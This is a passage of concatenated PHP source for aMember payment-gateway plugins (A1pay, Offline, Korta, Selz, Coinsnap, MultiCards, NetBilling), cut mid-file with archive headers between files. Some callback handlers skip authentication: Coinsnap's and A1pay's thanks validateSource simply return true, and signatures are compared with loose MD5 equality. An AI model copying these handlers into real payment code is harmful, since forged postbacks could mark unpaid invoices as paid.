join('', array_values($vars)); $md5 = md5($str); if ($md5 != $sign) { throw new Am_Exception_Paysystem_TransactionInvalid("Verify sign incorrect."); } if($this->getPlugin()->findOrder($order_id = $this->getUniqId())) throw new Am_Exception_Paysystem_TransactionAlreadyHandled('Transaction '.$order_id.' is already handled'); return true; } function getUniqId() { return $this->request->get('OrderID'); } public function getAmount() { return $this->request->get('Amount'); } function validateTerms() { if ($this->getPlugin()->getConfig('skip_amount_check')) return true; $amount = floatval($this->request->get("Amount")); $type = $this->request->get("Status"); if ($type == self::RECURRING_EOT) return true; return ($amount == floatval(($type == self::REBILL ? $this->invoice->second_total : $this->invoice->first_total))); } function findInvoiceId() { return $this->request->get("AMemberID"); } function loadInvoice($invoiceId) { $invoiceId = preg_replace('/-.*/', '', $invoiceId); // Assuming this is invoice imported from v3. $importedInvoiceId = Am_Di::getInstance()->db->selectCell(" SELECT p.invoice_id FROM ?_invoice_payment p LEFT JOIN ?_data d ON d.`table`='invoice_payment' AND d.id = p.invoice_payment_id AND d.`key` = 'am3:id' WHERE d.value=?", $invoiceId); if($importedInvoiceId) $invoice = Am_Di::getInstance()->invoiceTable->load($importedInvoiceId); if(!$invoice) { $invoice = Am_Di::getInstance()->invoiceTable->load($invoiceId); if($invoice->data()->get('am3:id')) $invoice = null; // Imported record. Skip it. } // update invoice_id in the log record if ($invoice && $this->log) { $this->log->updateQuick(array( 'invoice_id' => $invoice->pk(), 'user_id' => $invoice->user_id, )); } return $invoice; } function processValidated() { switch ($this->request->get("Status")) { case self::START_RECURRING : if(!count($this->invoice->getAccessRecords()) && (floatval($this->invoice->first_total) == 0)) $this->invoice->addAccessPeriod($this); else $this->invoice->addPayment($this); break; case self::PAYMENT : case self::REBILL : $this->invoice->addPayment($this); break; case self::RECURRING_EOT : $this->invoice->stopAccess($this); break; } } public function validateStatus() { return true; } }PK\NR**payment/a1pay.phpnu[addText('a1lite_form_key')->setLabel("Ключ из HTML формы\n" . 'Инструменты -> A1Lite -> Создать кнопку' .'
    '. "затем скопировать 'value' параметра 'key' из полученной формы" .'
    '. 'например 123456 из ' . htmlspecialchars('')); $form->addText('a1lite_api_secret_key')->setLabel("Секретный ключ\n" . 'Инструменты -> A1Lite -> Управление -> Редактирование сервиса'); $form->addSelect('type', array(), array('options' => array( '' => 'Любой тип оплаты', 'wm' => 'WebMoney', 'sms' => 'SMS', 'terminal' => 'Терминал оплаты Qiwi', 'qiwi_wallet' => 'Qiwi кошелек', 'w1' => 'W1', 'rbk_money' => 'РБК Money', 'ym' => 'Яндекс.Деньги', 'card' => 'Visa/MasterCard (ЕКО)', 'mb' => 'Visa/MasterCard (Мастер-Банк)', 'bm' => 'Visa/MasterCard (Банк Москвы)', 'esgp' => 'Терминал ЕСГП', 'russky_standart' => 'Visa/MasterCard (Русский Стандарт)', 'mc' => 'Мобильный платёж' )))->setLabel('Тип оплаты, на который Вы хотите отправить пользователя'); $form->addAdvCheckbox('testing')->setLabel("Тестирование сервиса\n" . 'Имитацию отправки запроса из аккаунта A1pay' .'
    '. 'c передачей данных скрипту-обработчику'); } public function getSupportedCurrencies() { return array('RUR'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::FORM_ACTION_URL); $a->key = $this->getConfig('a1lite_form_key'); $a->cost = $invoice->first_total; $a->name = $invoice->getLineDescription(); $a->default_email = $invoice->getEmail(); $a->order_id = 0; $a->comment = $invoice->public_id; if ($this->getConfig('type')) $a->type = $this->getConfig('type'); //verbose - параметр указывает, что делать в случае возникновения ошибки, если нет данных о пользователе (почты или телефона для способов платежа, где они обязательны). Значения: 1 - выдавать ошибку, 0 - перебрасывать на страницу выбора оплаты. //phone_number - телефонный номер пользователя $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_A1pay($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_A1pay_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme(){ return <<A1pay plugin installation 1. Configure plugin at aMember CP -> Setup/Configuration -> A1pay 2. Configure your A1pay account: - URL скрипта обработчика на Вашем сайте: %root_url%/payment/a1pay/ipn - URL страницы успешной покупки: %root_url%/payment/a1pay/thanks - URL страницы ошибки: %root_url%/cancel 3. Run a test transaction to ensure everything is working correctly. CUT; } } class Am_Paysystem_Transaction_A1pay extends Am_Paysystem_Transaction_Incoming{ public function getUniqId() { return $this->request->get("tid"); } public function findInvoiceId(){ return $this->request->get("comment"); } public function validateSource() { $this->_checkIp(<<request->getPost(); $fields = array('tid', 'name', 'comment', 'partner_id', 'service_id', 'order_id', 'type', 'partner_income', 'system_income'); if ($this->getPlugin()->getConfig('testing') || isset($params['test'])) $fields[] = 'test'; $hash = ''; foreach ($fields as $field) $hash .= $params[$field]; $hash .= $this->getPlugin()->getConfig('a1lite_api_secret_key'); $hash = md5($hash); return ($hash == $params['check']); } public function validateStatus() { return true; } public function validateTerms() { /** * @todo Add real validation here; Need to check variables that will be sent from A1pay. */ return true; } public function getAmount() { // partner_income - сумма в рублях вашего дохода по данному платежу // system_income - сумма в рублях, заплаченная абонентом. Значение может быть больше заявленной цены если клиент заплатил больше. return $this->request->get('system_income'); } public function processValidated() { $this->invoice->addPayment($this); echo 'Ok. Completed.'; exit; } } class Am_Paysystem_Transaction_A1pay_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function findInvoiceId() { return $this->request->get("comment"); } public function getUniqId() { return $this->request->get("tid"); } public function validateStatus() { return true; } public function validateTerms() { return true; } public function validateSource() { return true; /* $params = $this->request->getQuery(); $fields = array('tid', 'name', 'comment', 'partner_id', 'service_id', 'order_id', 'type', 'partner_income', 'system_income'); if ($this->getPlugin()->getConfig('testing') || isset($params['test'])) $fields[] = 'test'; $hash = ''; foreach ($fields as $field) $hash .= $params[$field]; $hash .= $this->getPlugin()->getConfig('a1lite_api_secret_key'); $hash = md5($hash); return ($hash == $params['check']); */ } public function getInvoice() { return $this->invoice; } }PK\payment/offline.phpnu[defaultTitle = ___("Offline Payment"); $this->defaultDescription = ___("pay using wire transfer or by sending offline check"); parent::__construct($di, $config); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getSupportedCurrencies() { return array_keys(Am_Currency::getFullList()); // support any } public function _initSetupForm(Am_Form_Setup $form) { $form->addTextarea("html", array('class' => 'el-wide', "rows"=>20))->setLabel( ___("Payment Instructions for customer\n". "you can enter any HTML here, it will be displayed to\n". "customer when he chooses to pay using this payment system\n". "you can use the following tags:\n". "%s - Receipt HTML\n". "%s - Invoice Title\n". "%s - Invoice Id\n". "%s - Invoice Total", '%receipt_html%', '%invoice_title%', '%invoice.public_id%', '%invoice.first_total%')); $label = Am_Html::escape(___('preview')); $url = Am_Html::escape($this->getPluginUrl('preview')); $text = ___('Please save your settings before use preview link'); $form->addHtml() ->setHtml(<<$label $text CUT ); } public function _process($invoice, $request, $result) { unset($this->getDi()->session->cart); if ((float)$invoice->first_total == 0) { $invoice->addAccessPeriod(new Am_Paysystem_Transaction_Free($this)); } $result->setAction( new Am_Paysystem_Action_Redirect( $this->getDi()->url("payment/".$this->getId()."/instructions", array('id'=>$invoice->getSecureId($this->getId())),false) ) ); } public function directAction($request, $response, $invokeArgs) { $actionName = $request->getActionName(); switch ($actionName) { case 'instructions' : $invoice = $this->getDi()->invoiceTable->findBySecureId($request->getFiltered('id'), $this->getId()); if (!$invoice) throw new Am_Exception_InputError(___("Sorry, seems you have used wrong link")); $view = new Am_View; $html = $this->getConfig('html', 'SITE OWNER DID NOT PROVIDE INSTRUCTIONS FOR OFFLINE PAYMENT YET'); $tpl = new Am_SimpleTemplate; $tpl->receipt_html = $view->partial('_receipt.phtml', array('invoice' => $invoice, 'di' => $this->getDi())); $tpl->invoice = $invoice; $tpl->user = $this->getDi()->userTable->load($invoice->user_id); $tpl->invoice_id = $invoice->invoice_id; $tpl->cancel_url = $this->getDi()->url('cancel',array('id'=>$invoice->getSecureId('CANCEL')),false); $tpl->invoice_title = $invoice->getLineDescription(); $view->invoice = $invoice; $view->content = $tpl->render($html) . $view->blocks('payment/offline/bottom'); $view->title = $this->getTitle(); $response->setBody($view->render("layout.phtml")); break; case 'preview' : $this->previewAction($request, $response, $invokeArgs); break; default: return parent::directAction($request, $response, $invokeArgs); } } public function createTransaction($request, $response, array $invokeArgs) { //nop } public function previewAction($request, $response, $invokeArgs) { if (!$this->getDi()->authAdmin->getUserId()) throw new Am_Exception_AccessDenied; $view = new Am_View; $form = $this->createPreviewForm(); $form->setDataSources(array($request)); do { if ($form->isSubmitted() /*&& $f->validate()*/) { $v = $form->getValue(); $invoice = $this->getDi()->invoiceRecord; $invoice->toggleFrozen(true); $u = $this->getDi()->userTable->findFirstByLogin($v['user']); if (!$u) { list($el) = $form->getElementsByName('user'); $el->setError(___('User %s not found', $v['user'])); break; } $invoice->setUser($u); if ($v['coupon']) { $invoice->setCouponCode($v['coupon']); $error = $invoice->validateCoupon(); if ($error) { list($el) = $form->getElementsByName('coupon'); $el->setError($error); break; } } foreach ($v['product_id'] as $plan_id => $qty) { $p = $this->getDi()->billingPlanTable->load($plan_id); $pr = $p->getProduct(); try { $invoice->add($pr, $qty); } catch (Am_Exception_InputError $e) { $form->setError($e->getMessage()); break; } } $invoice->calculate(); $invoice->setPaysystem($this->getId()); $invoice->invoice_id = 'ID'; $invoice->public_id = 'PUBLIC_ID'; $html = $this->getConfig('html', 'SITE OWNER DID NOT PROVIDE INSTRUCTIONS FOR OFFLINE PAYMENT YET'); $tpl = new Am_SimpleTemplate; $tpl->receipt_html = $view->partial('_receipt.phtml', array('invoice' => $invoice, 'di' => $this->getDi())); $tpl->invoice = $invoice; $tpl->user = $this->getDi()->userTable->load($invoice->user_id); $tpl->invoice_id = $invoice->invoice_id; $tpl->cancel_url = $this->getDi()->url('cancel',array('id'=>$invoice->getSecureId('CANCEL')),false); $tpl->invoice_title = $invoice->getLineDescription(); $view->invoice = $invoice; $view->content = $tpl->render($html) . $view->blocks('payment/offline/bottom'); $view->title = $this->getTitle(); $response->setBody($view->render("layout.phtml")); return; } } while (false); $view->title = $this->getTitle() . ' · ' . ___("Preview"); $view->content = (string) $form; $view->display('admin/layout.phtml'); } protected function createPreviewForm() { $form = new Am_Form_Admin; $form->addText('user') ->setLabel(___('Enter username of existing user')) ->addRule('required'); $form->addScript()->setScript(<<addElement(new Am_Form_Element_ProductsWithQty('product_id')) ->setLabel(___('Products')) ->loadOptions($this->getDi()->billingPlanTable->selectAllSorted()) ->addRule('required'); $form->addText('coupon')->setLabel(___('Coupon'))->setId('p-coupon'); $form->addScript('script')->setScript(<<addSaveButton(___('Preview')); return $form; } public function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { $result->setSuccess(); $invoice->setCancelled(true); } }PK\ t55payment/korta.phpnu[addInteger("merchant", array('maxlength' => 15, 'size' => 15)) ->setLabel("Korta Merchant") ->addRule('required'); $form->addInteger("terminal", array('maxlength' => 15, 'size' => 15)) ->setLabel("Korta Terminal") ->addRule('required'); $form->addText("secretCode", array('size' => 40)) ->setLabel("Korta Secret Code") ->addRule('required'); $form->addAdvCheckbox("testMode") ->setLabel("Test Mode Enabled"); } protected function getRedirectUrl() { return ($this->getConfig('testMode')) ? self::URL_TEST : self::URL_LIVE; } public function getTestSign() { return ($this->getConfig('testMode')) ? 'TEST' : ''; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $merchant = $this->getConfig('merchant'); $terminal = $this->getConfig('terminal'); $amount = $this->invoice->first_total; $currency = $this->invoice->currency; $description = $this->invoice->getLineDescription(); $checkvaluemd5 = md5($amount.$currency.$merchant.$terminal.$description.$this->getConfig('secretCode').$this->getTestSign('testMode')); $reference = $this->invoice->public_id; $downloadmd5 = md5("2".$checkvaluemd5.$reference. $this->getConfig('secretCode').$this->getTestSign('testMode')); $vars = array( 'merchant' => $merchant, 'terminal' => $terminal, 'amount' => $amount, 'currency' => $currency, 'description' => $description, 'checkvaluemd5' => $checkvaluemd5, 'reference' => $reference, 'downloadmd5' => $downloadmd5, 'name' => $this->invoice->getUser()->getName(), 'address' => $this->invoice->getUser()->street, 'address2' => $this->invoice->getUser()->street2, 'email' => $this->invoice->getUser()->email, 'zip' => $this->invoice->getUser()->zip, 'city' => $this->invoice->getUser()->city, 'country' => $this->invoice->getUser()->country, 'phone' => $this->invoice->getUser()->phone, 'downloadurl' => $this->getPluginUrl('thanks'), 'continueurl' => $this->getCancelUrl(), 'startnewpayment' => 'true', 'terms' => 'Y', 'refermethod' => 'POST', 'refertarget' => '_top', 'look' => 'SIMPLE', ); $action = new Am_Paysystem_Action_Redirect($this->getRedirectUrl() . "?" . http_build_query($vars, '', '&')); $result->setAction($action); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme() { return <<www.korta.is): NOTE: The plugin not support recurring payments. 1. Login into your merchant account https://service.kortathjonustan.is then: -go to "Webpay" -find needed string, ckick "Setup" -at 'Checkout terminals' fing needed terminal, click 'View' -at 'Webpay setup' find 'merchant', 'terminal' and 'secretcode' fileds and paste data in the same fileds at this page. 2. Click 'Save' button. CUT; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Korta($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Korta($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Korta extends Am_Paysystem_Transaction_Incoming { protected $result; public function process() { $this->result = $this->request->getPost(); // print_rr($downloadmd5); // print_rre($this->result); parent::process(); } public function validateSource() { return md5(htmlentities("2".$this->result['checkvaluemd5'].$this->result['reference'].$this->plugin->getConfig('secretCode').$this->plugin->getTestSign())) == $this->result['downloadmd5']; } public function findInvoiceId() { return (string) $this->result['reference']; } public function validateStatus() { return true; } public function getUniqId() { return (string) $this->result['reference']; } public function validateTerms() { return true; } }PK\>O"payment/selz/scripts/selz.phtmlnu[setLayout('layout.phtml'); ?> way == 'button'): ?>
    Buy this on Selz
    PK\r0..payment/selz/selz.phpnu[_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } } class Am_Paysystem_Selz extends Am_Paysystem_Abstract { const PLUGIN_STATUS = self::STATUS_BETA; const PLUGIN_REVISION = '5.0.5'; protected $defaultTitle = 'Selz'; protected $defaultDescription = 'Credit Card Payment'; const SHARED_LINK_FIELD = 'shared-link-field'; const SELZ_ITEM_ID_FIELD = 'selz-item-id-field'; public function _initSetupForm(Am_Form_Setup $form) { $form->addText('verification_key', array('size' => 60)) ->setLabel('Verification key') ->addRule('required'); $form->addSelect('payment_way') ->setLabel('Payment Way') ->loadOptions(array( 'redirect' => 'Redirect to Selz site', 'button' => 'Button at aMember site', 'widget' => 'Widget at aMember site', )); } public function getConfig($key = null, $default = null) { switch($key){ case 'testing' : return false; case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } public function init() { parent::init(); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText(self::SHARED_LINK_FIELD, "Selz Item Shared Link", "create selz-item with the same billing settings, and enter its shre link here", null, array('size' => 40))); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText(self::SELZ_ITEM_ID_FIELD, "Selz Item Id", "", null, array('size' => 40))); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $items = $invoice->getItems(); if(count($items) > 1) { $exc = new Am_Exception_InternalError("It's impossible purchase " . count($items) . " products at one invoice with Selz-plugin"); $this->getDi()->errorLogTable->logException($exc); throw $exc; } $item = $items[0]; $bp = $this->getDi()->billingPlanTable->load($item->billing_plan_id); $sharedLink = $bp->data()->get(self::SHARED_LINK_FIELD); if(!$sharedLink) { $exc = new Am_Exception_InternalError("Product #{$item->item_id} has no shared link"); $this->getDi()->errorLogTable->logException($exc); throw $exc; } if($this->getConfig('payment_way', 'redirect') == 'redirect') { $a = new Am_Paysystem_Action_Redirect($sharedLink); } else { $a = new Am_Paysystem_Action_HtmlTemplate_Selz($this->getDir(), 'selz.phtml'); $a->link = $sharedLink; $a->inv = $invoice->public_id; $a->thanks = $this->getReturnUrl(); $a->ipn = $this->getPluginUrl('ipn'); $a->way = $this->getConfig('payment_way'); } $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Selz($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } function getReadme() { $ipn = $this->getPluginUrl('ipn'); return << Sttings -> Developer' add webhook: event: Order Received Callback URL: $ipn Received 'Verification key' set to 'Verification key' option. CUT; } } class Am_Paysystem_Transaction_Selz extends Am_Paysystem_Transaction_Incoming { protected $_order; protected $_autoCreateMap = array( 'name_f' => 'BuyerFirstName', 'name_l' => 'BuyerLastName', 'email' => 'BuyerEmail', 'user_external_id' => 'BuyerEmail', 'invoice_external_id' => 'OrderId', ); function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { parent::__construct($plugin, $request, $response, $invokeArgs); $str = $request->getRawBody(); $this->_order = json_decode($str, true); } public function fetchUserInfo() { return array( 'name_f' => $this->_order['BuyerFirstName'], 'name_l' => $this->_order['BuyerLastName'], 'email' => $this->_order['BuyerEmail'], ); } function autoCreateInvoice() { $invoiceExternalId = $this->generateInvoiceExternalId(); $invoice = Am_Di::getInstance()->invoiceTable->findFirstByData('external_id', $invoiceExternalId); $products = $this->autoCreateGetProducts(); if (!$invoice && !$products) return null; // If we are able to retrive invoice but doesn;t have products, // we should get products from invoice in order to handle situations when invoice was imported into amember; if($invoice && !$products) { $products = $invoice->getProducts(); } if (!is_array($products)) $products = array($products); $userTable = $this->getPlugin()->getDi()->userTable; $userInfo = $this->fetchUserInfo(); $externalId = $this->generateUserExternalId($userInfo); $user = null; if ($externalId) $user = $userTable->findFirstByData('external_id', $externalId); if (!$user) { $user = $userTable->findFirstByEmail($userInfo['email']); if ($user) $user->data()->set('external_id', $externalId)->update(); } if (!$user) { $user = $userTable->createRecord($userInfo); if(!$user->login) $user->generateLogin(); if(!$user->pass) $user->generatePassword(); else $user->setPass($user->pass); $user->data()->set('external_id', $externalId); $user->insert(); if ($this->getPlugin()->getDi()->config->get('registration_mail')) $user->sendRegistrationEmail(); if ($this->getPlugin()->getDi()->config->get('registration_mail_admin')) $user->sendRegistrationToAdminEmail(); } if ($invoice) { if ($invoice->user_id != $user->user_id) { $invoice = null; // strange!!! } else { $invoice->_autoCreated = true; } } if (!$invoice) { $invoice = $this->getPlugin()->getDi()->invoiceRecord; $invoice->setUser($user); $invoice->add($products[0]); $item = $invoice->getItem(0); $qty = count($products); if($item->qty != $qty) { $period = new Am_Period($item->first_period); $newPeriod = new Am_Period($period->getCount() * $qty, $period->getUnit()); $item->first_period = (string)$newPeriod; $item->qty = $qty; $item->_calculateTotal(); $invoice->first_period = (string)$newPeriod; } $invoice->calculate(); $invoice->data()->set('external_id', $invoiceExternalId); $invoice->paysys_id = $this->plugin->getId(); $invoice->first_period = (string)$newPeriod; $invoice->insert(); $invoice->_autoCreated = true; } if ($invoice && $this->log) { $this->log->updateQuick(array( 'invoice_id' => $invoice->pk(), 'user_id' => $user->user_id, )); } return $invoice; } public function autoCreateGetProducts() { $itemId = ($this->_order['ItemId']) ? $this->_order['ItemId'] : $this->_order['Items'][0]['ItemId']; $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData(Am_Paysystem_Selz::SELZ_ITEM_ID_FIELD, $itemId); $product = $billing_plan->getProduct(); if(!$billing_plan || !$this->_order['BuyerEmail']) return; $res = array(); $qty = ($this->_order['Quantity']) ? $this->_order['Quantity'] : $this->_order['Items'][0]['Quantity']; for($i = 0; $i < $qty; $i++) { array_push($res, $product); } return $res; } public function findInvoiceId() { if($id = $this->getPlugin()->getDi()->db->selectCell(" SELECT i.public_id FROM ?_invoice_payment ip LEFT JOIN ?_invoice i USING (invoice_id) WHERE transaction_id = ? ", $this->_order['ReferenceId'])) { return $id; } $itemId = ($this->_order['ItemId']) ? $this->_order['ItemId'] : $this->_order['Items'][0]['ItemId']; $billing_plans = $this->getPlugin()->getDi()->billingPlanTable->findByData(Am_Paysystem_Selz::SELZ_ITEM_ID_FIELD, $itemId); $bpIds = array(); foreach($billing_plans as $bp) $bpIds[] = $bp->pk(); if(empty($bpIds) || !$this->_order['BuyerEmail']) return; $id = $this->getPlugin()->getDi()->db->selectCell(" SELECT ii.invoice_public_id FROM ?_invoice_item ii LEFT JOIN ?_invoice i ON i.invoice_id=ii.invoice_id LEFT JOIN ?_user u ON u.user_id=i.user_id WHERE ii.billing_plan_id IN (?a) AND i.status = ?d AND i.paysys_id = ? AND u.email = ? ORDER BY ii.invoice_id DESC ", $bpIds, Invoice::PENDING, 'selz', $this->_order['BuyerEmail']); if($id) { $invoice = $this->loadInvoice($id); $item = $invoice->getItem(0); $qty = ($this->_order['Quantity']) ? $this->_order['Quantity'] : $this->_order['Items'][0]['Quantity']; if($item->qty != $qty) { $period = new Am_Period($item->first_period); $newPeriod = new Am_Period($period->getCount() * $qty, $period->getUnit()); $item->first_period = (string)$newPeriod; $item->qty = $qty; $item->_calculateTotal(); $item->update(); $invoice->calculate(); $invoice->first_period = (string)$newPeriod; $invoice->update(); } } return $id; } public function getUniqId() { return $this->_order['ReferenceId']; } public function validateSource() { $mess = $this->_order['Timestamp'] . $this->_order['Token']; $aMessage = iconv(iconv_get_encoding("internal_encoding"), "ASCII", $mess); $vk = $this->getPlugin()->getConfig('verification_key'); $aKey = iconv(iconv_get_encoding("internal_encoding"), "ASCII", $vk); $sig = base64_encode(hash_hmac('sha256', $aMessage, $aKey, true)); $signature = $_SERVER["HTTP_X_SELZ_SIGNATURE"]; return ($signature == $sig); } public function validateStatus() { return true; } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->_order['TotalPrice']); return true; } } PK\%##payment/coinsnap.phpnu[addText('api_key', array('class' => 'el-wide')) ->setLabel("API KEY\n" . 'Get it from your Coinsnap account') ->addRule('required'); $form->addPassword('api_secret', array('class' => 'el-wide')) ->setLabel("API SECRET\n" . 'Get it from your Coinsnap account') ->addRule('required'); $form->addAdvcheckbox('testing')->setLabel('Testing mode'); } public function isConfigured() { return $this->getConfig('api_key') && $this->getConfig('api_secret'); } public function getSupportedCurrencies() { return array_keys(Am_Currency::getFullList()); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); $req = new Am_Request_Coinsnap($this, "/merchantV1/TriggerSale"); $params = array( //"cryptocurrency" => "", "currency" => $invoice->currency, "amount" => $invoice->first_total, "type" => "html", "webhooks" => array( "success" => array( "merchant_params" => "$invoice->public_id", "url" => $this->getPluginUrl('ipn') ), /*"update" => array( "merchant_params" => "", "url" => "" ), "error" => array( "merchant_params" => "", "url" => "" )*/ ), "html" => array( "success" => array( "url" => $this->getReturnUrl() ), "error" => array( "url" => $this->getCancelUrl() ) ), "customer" => array( "ip" => $user->remote_addr ? $user->remote_addr : $_SERVER['REMOTE_ADDR'], "email" => $user->email ) ); $res = $req->sendPut($params); if(!@$res['success']['html']['redirect'] || @$res['error']) { throw new Am_Exception_InternalError("Coinbase API error:". @$res['error']); } $a = new Am_Paysystem_Action_Redirect($res['success']['html']['redirect']); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Coinbase($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } } class Am_Paysystem_Transaction_Coinbase extends Am_Paysystem_Transaction_Incoming { protected $vars; function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { parent::__construct($plugin, $request, $response, $invokeArgs); $str = $request->getRawBody(); $ret = @json_decode($str, true); if(!$ret) throw new Am_Exception_InternalError("Coinsnap: Can't decode postback: ".$ret); $this->vars = $ret; } public function getUniqId() { return $this->vars['id']; } public function validateSource() { return true; } public function validateStatus() { return ($this->vars['status'] == "confirmed" ? true : false); } public function validateTerms() { return true; } public function findInvoiceId() { return $this->vars['merchant_params']; } } class Am_Request_Coinsnap extends Am_HttpRequest { protected $plugin; protected $log; protected $nonce; protected $route; public function __construct(Am_Paysystem_Coinsnap $plugin, $route, InvoiceLog $log = null) { $this->log = $log; $this->plugin = $plugin; $this->nonce = mt_rand(); $this->route = $route; parent::__construct(($plugin->getConfig('testing') ? Am_Paysystem_Coinsnap::SANDBOX_URL : Am_Paysystem_Coinsnap::LIVE_URL) . $route); } public function sendPost($params) { return $this->sendRequest($params, Am_HttpRequest::METHOD_POST); } public function sendGet() { return $this->sendRequest(array(), Am_HttpRequest::METHOD_GET); } public function sendPut($params) { return $this->sendRequest($params, Am_HttpRequest::METHOD_PUT); } public function sendRequest($params, $method) { $sign = hash_hmac('sha512', $this->route . hash ( 'sha256', $this->nonce . json_encode($params), false ), $this->plugin->getConfig('api_secret'), false ); $this->setHeader ("X-Key", $this->plugin->getConfig('api_key') ); $this->setHeader ("nonce", $this->nonce ); $this->setHeader ("X-Sign", $sign ); $this->setHeader('Content-type', 'application/json'); if ($method == Am_HttpRequest::METHOD_POST || $method == Am_HttpRequest::METHOD_PUT) { $this->setBody(json_encode($params)); } $this->setMethod($method); if(!$this->log) $this->log = $this->plugin->logRequest($this); $ret = $this->send(); $this->log->add($ret); if ($ret->getStatus() != '200') { throw new Am_Exception_InternalError("CoinsnapPay API Error. Status : {$ret->getStatus()}."); } return json_decode($ret->getBody(), true); } }PK\u u payment/multicards.phpnu[addText('mer_id')->setLabel("MultiCards Merhcant ID"); $form->addText('page_id')->setLabel('MultiCards Page ID'); $form->addText('password')->setLabel('MultiCards Silent Post Password'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form(self::URL); $a->deferred_entry = 1; $a->mer_id = $this->getConfig('mer_id'); $a->num_items = 1; $a->mer_url_idx = $this->getConfig('page_id'); $a->item1_desc = $invoice->getLineDescription(); $a->item1_price = $invoice->first_total; $a->item1_qty = 1; $a->user1 = $invoice->public_id; $a->user2 = $invoice->user_id; $a->cust_name = $invoice->getName(); $a->cust_email = $invoice->getEmail(); $a->card_name = $invoice->getName(); $a->cust_address1 = $invoice->getStreet(); $a->cust_city = $invoice->getCity(); $a->cust_country = $invoice->getCountry(); $a->cust_state = $invoice->getState(); $a->cust_zip = $invoice->getZip(); $result->setAction($a); } function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { try{ parent::directAction($request, $response, $invokeArgs); }catch(Exception $e){ $this->getDi()->errorLogTable->logException($e); } echo ""; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Multicards($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } function getReadme() { return << Page you specifided in config Set: - Post URL to: %root_url%/payment/multicards/ipn - Silent Post : yes - Post Fields : item1_price,item1_qty,user1,order_num - Silent Post Password: Enter same password that you have entered in Multicards plugin configuration - AllowedReferer: %root_url%/signup It's all CUT; } } class Am_paysystem_Transaction_Multicards extends Am_Paysystem_Transaction_Incoming_Thanks { public function getUniqId() { return $this->request->get('order_num'); } public function findInvoiceId() { return $this->request->get('user1'); } public function validateSource() { return $this->getPlugin()->getConfig('password') == $this->request->get('SilentPostPassword'); } public function validateStatus() { return true; } public function validateTerms() { return ($this->request->get('item1_price') * $this->request->get('item1_qty')) == $this->invoice->first_total; } }PK\MNpayment/netbilling-form.phpnu[addText('account_id') ->setLabel('NetBilling Account ID') ->addRule('required'); $form->addText('site_tag') ->setLabel("NetBilling Site Tag\n" . "create it at your netbilling account -> Setup -> Site Tools -> Site tags") ->addRule('required'); $form->addText('crypto_hash') ->setLabel("MD5 crypto-hash\n" . "create it at your netbilling account -> Fraud Controls -> Fraud Defense -> Step 12") ->addRule('required'); $form->addAdvCheckbox("debugLog") ->setLabel("Debug Log Enabled\n" . "write all requests/responses to log"); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form(self::URL); $user = $invoice->getUser(); $post = array( 'Ecom_BillTo_Postal_Name_First' => $user->name_f, 'Ecom_BillTo_Postal_Name_Last' => $user->name_l, 'Ecom_BillTo_Postal_Street_Line1' => $user->street, 'Ecom_BillTo_Postal_Street_Line2' => $user->street2, 'Ecom_BillTo_Postal_City' => $user->city, 'Ecom_BillTo_Postal_StateProv' => $user->state, 'Ecom_BillTo_Postal_PostalCode' => $user->zip, 'Ecom_BillTo_Postal_CountryCode' => $user->country, 'Ecom_BillTo_Online_Email' => $user->email, 'Ecom_ShipTo_Postal_Name_First' => $user->name_f, 'Ecom_ShipTo_Postal_Name_Last' => $user->name_l, 'Ecom_ShipTo_Postal_City' => $user->city, 'Ecom_ShipTo_Postal_Street_Line1' => $user->street, 'Ecom_ShipTo_Postal_Street_Line2' => $user->street2, 'Ecom_ShipTo_Postal_StateProv' => $user->state, 'Ecom_ShipTo_Postal_PostalCode' => $user->zip, 'Ecom_ShipTo_Postal_CountryCode' => 